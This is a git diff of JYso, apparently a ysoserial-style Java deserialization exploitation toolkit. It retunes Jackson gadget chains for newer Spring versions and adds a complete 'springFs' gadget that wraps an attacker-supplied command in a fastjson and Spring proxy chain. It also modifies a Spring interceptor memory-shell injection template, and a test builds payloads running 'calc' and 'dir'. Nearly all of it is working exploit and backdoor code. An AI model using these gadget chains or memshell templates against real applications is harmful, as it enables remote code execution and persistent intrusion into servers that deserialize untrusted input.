diff --git a/build.gradle b/build.gradle index 27adc32..e218fc3 100644 --- a/build.gradle +++ b/build.gradle @@ -127,7 +127,7 @@ dependencies { group = 'org.example' -version = '1.3.6' +version = '1.3.6.1' description = 'JYso' java.sourceCompatibility = JavaVersion.VERSION_1_8 diff --git a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java index b1f2b0e..108e174 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java @@ -13,6 +13,7 @@ import java.io.FileOutputStream; import java.io.OutputStream; import java.util.*; +import static com.qi4l.JYso.gadgets.Config.Config.BASE64; import static com.qi4l.JYso.gadgets.Config.Config.logo; import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword; import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index 11ecc99..f2e2ed5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -6,8 +6,6 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.SuClassLoader; import com.qi4l.JYso.gadgets.utils.Gadgets; -import javassist.ClassClassPath; - import org.springframework.aop.framework.AdvisedSupport; import javassist.ClassPool; @@ -24,7 +22,6 @@ import java.lang.reflect.*; import java.util.Vector; -import static com.qi4l.JYso.gadgets.Config.Config.POOL; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; @@ -38,7 +35,7 @@ public class Jackson3 implements ObjectPayload { //<=6.0.23为6115154060221772279 //>=6.1.0 为273003553246259276 - String sUID = "6115154060221772279"; + String sUID = "273003553246259276"; CtClass ctDefaultAdvisorChainFactory = insertField( "org.springframework.aop.framework.DefaultAdvisorChainFactory", "private static final long serialVersionUID = " + sUID + "L;"); @@ -57,16 +54,18 @@ public class Jackson3 implements ObjectPayload { public static Object getEventListenerList(Object obj) throws Exception { //>=6.1.0 为-7977902244297240866 //<=6.0.23为-5677132037850737084 + String sUID1 = "7977902244297240866"; CtClass ctEventListenerList = insertField( "javax.swing.event.EventListenerList", - "private static final long serialVersionUID = -5677132037850737084;"); + "private static final long serialVersionUID = -" + sUID1 + "L;"); Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance(); //>=6.1.0 为-1045223116463488483 //<=6.0.23为-2077529998244066750 + String sUID2 = "1045223116463488483"; CtClass ctUndoManager = insertField( "javax.swing.undo.UndoManager", - "private static final long serialVersionUID = -2077529998244066750L;"); + "private static final long serialVersionUID = -" + sUID2 + "L;"); Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance(); //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。 diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java index 7548c8b..3257af2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java @@ -1,6 +1,8 @@ package com.qi4l.JYso.gadgets; import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.sun.org.apache.xpath.internal.objects.XObject; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; @@ -14,6 +16,8 @@ import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy; //Jackson1链的JDK17改造 +@Dependencies({"spring-apo:6.2.10"}) +@Authors({Authors.QI4L}) public class Jackson4 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb192.java b/src/main/java/com/qi4l/JYso/gadgets/cb192.java index ba707d9..ea19cd7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb192.java @@ -15,6 +15,7 @@ public class cb192 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("1"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/springFs.java b/src/main/java/com/qi4l/JYso/gadgets/springFs.java new file mode 100644 index 0000000..a5f75ff --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/springFs.java @@ -0,0 +1,101 @@ +package com.qi4l.JYso.gadgets; + + +import com.alibaba.fastjson.JSONArray; +import com.alibaba.fastjson.JSONObject; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; +import javassist.NotFoundException; +import org.apache.logging.log4j.core.jackson.JsonConstants; +import org.springframework.beans.factory.ObjectFactory; + +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; +import java.io.Serializable; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.ArrayList; +import java.util.HashMap; + +import static com.qi4l.JYso.gadgets.JDKUtil.makeMap; + +public class springFs implements ObjectPayload, Serializable { + // jdk7下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17) + public String toString = "badAttributeValueExpException"; + // 低版本Spring-beans <5.3 -8835275493235412717 + // 高版本Spring-beans >=5.3 -1515767093960859525" + public String serialVersionUID = "-1515767093960859525"; + private Object inv; + public static ClassPool pool = ClassPool.getDefault(); + + @Override + public Object getObject(String command) throws Exception { + + Object obj = Gadgets.createTemplatesImpl(command); + + if (this.serialVersionUID == "-1515767093960859525") { + + CtClass ctClass; + try { + ctClass = pool.get("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); + } catch (NotFoundException e) { + ctClass = pool.makeClass("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); + } + + + if (ctClass.isFrozen()) { + ctClass.defrost(); + } + try { + CtField field = ctClass.getDeclaredField("serialVersionUID"); + ctClass.removeField(field); + } catch (NotFoundException e) { + } + ctClass.addField(CtField.make("private static final long serialVersionUID = " + serialVersionUID + "L;", ctClass)); + Class aClass = ctClass.toClass(new URLClassLoader(new URL[0]), null); + this.inv = Reflections.createWithoutConstructor(aClass); + ctClass.defrost(); + } else { + this.inv = Reflections.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); + } + HashMap hashMap = new HashMap<>(); + hashMap.put("object", obj); + JSONObject jsonObject = new JSONObject(hashMap); + Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{ObjectFactory.class}, jsonObject); + Reflections.setFieldValue(this.inv, "objectFactory", o2); + Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, (InvocationHandler) this.inv); + JSONArray jsonArray = new JSONArray(); + jsonArray.add(o); + if (this.toString.equals("xString")) { + Class aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars"); + Object xString = Reflections.createWithoutConstructor(aClass1); + Reflections.setFieldValue(xString, "m_obj", new char[0]); + HashMap hashMap1 = new HashMap(); + HashMap hashMap2 = new HashMap(); + hashMap1.put("zZ", xString); + hashMap1.put("yy", jsonArray); + hashMap2.put("yy", xString); + hashMap2.put("zZ", jsonArray); + Object map = makeMap(hashMap1, hashMap2); + ArrayList arrayList = new ArrayList<>(); + arrayList.add(obj); + arrayList.add(o); + arrayList.add(map); + return arrayList; + } + Object badAttributeValueExpException = new BadAttributeValueExpException(null); + Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray); + Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]); + Reflections.setFieldValue(badAttributeValueExpException, "suppressedExceptions", null); + Reflections.setFieldValue(badAttributeValueExpException, JsonConstants.ELT_CAUSE, null); + ArrayList arrayList2 = new ArrayList<>(); + arrayList2.add(obj); + arrayList2.add(badAttributeValueExpException); + return arrayList2; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java index 38104d3..eae9ed4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -52,7 +52,12 @@ public class Serializer implements Callable { } - public static void qiserialize(Object obj, final OutputStream out,String payloadType,String Command) throws Exception { + public static void qiserialize( + Object obj, + final OutputStream out, + String payloadType, + String Command + ) throws Exception { ObjectOutputStream objOut = null; AbstractHessianOutput AobjOut = null; ByteArrayOutputStream outB64 = new ByteArrayOutputStream(); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringInterceptorMS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringInterceptorMS.java index 1645f84..e722d46 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringInterceptorMS.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringInterceptorMS.java @@ -49,11 +49,13 @@ public class SpringInterceptorMS extends HandlerInterceptorAdapter { //添加SpringInterceptorTemplate类到adaptedInterceptors adaptedInterceptors.add(new SpringInterceptorMS()); } catch (Exception ignored) { + System.out.println(ignored); } } - @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + System.out.println("注入成功"); + return true; } } diff --git a/src/test/java/com/example/demo/demos/web/Test.java b/src/test/java/com/example/demo/demos/web/Test.java index d0f9d2d..3236308 100644 --- a/src/test/java/com/example/demo/demos/web/Test.java +++ b/src/test/java/com/example/demo/demos/web/Test.java @@ -8,9 +8,9 @@ import java.util.Base64; public class Test { public static void main(String[] args) throws Exception { - final Class payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3"); + final Class payloadClass = ObjectPayload.Utils.getPayloadClass("jackson4"); ObjectPayload payload = payloadClass.newInstance(); - Object object = payload.getObject("calc"); + Object object = payload.getObject("dir"); //EX-MS-SpringInterceptorMS-gz secCig rootObj = new secCig(); rootObj.setMessage("qi4l");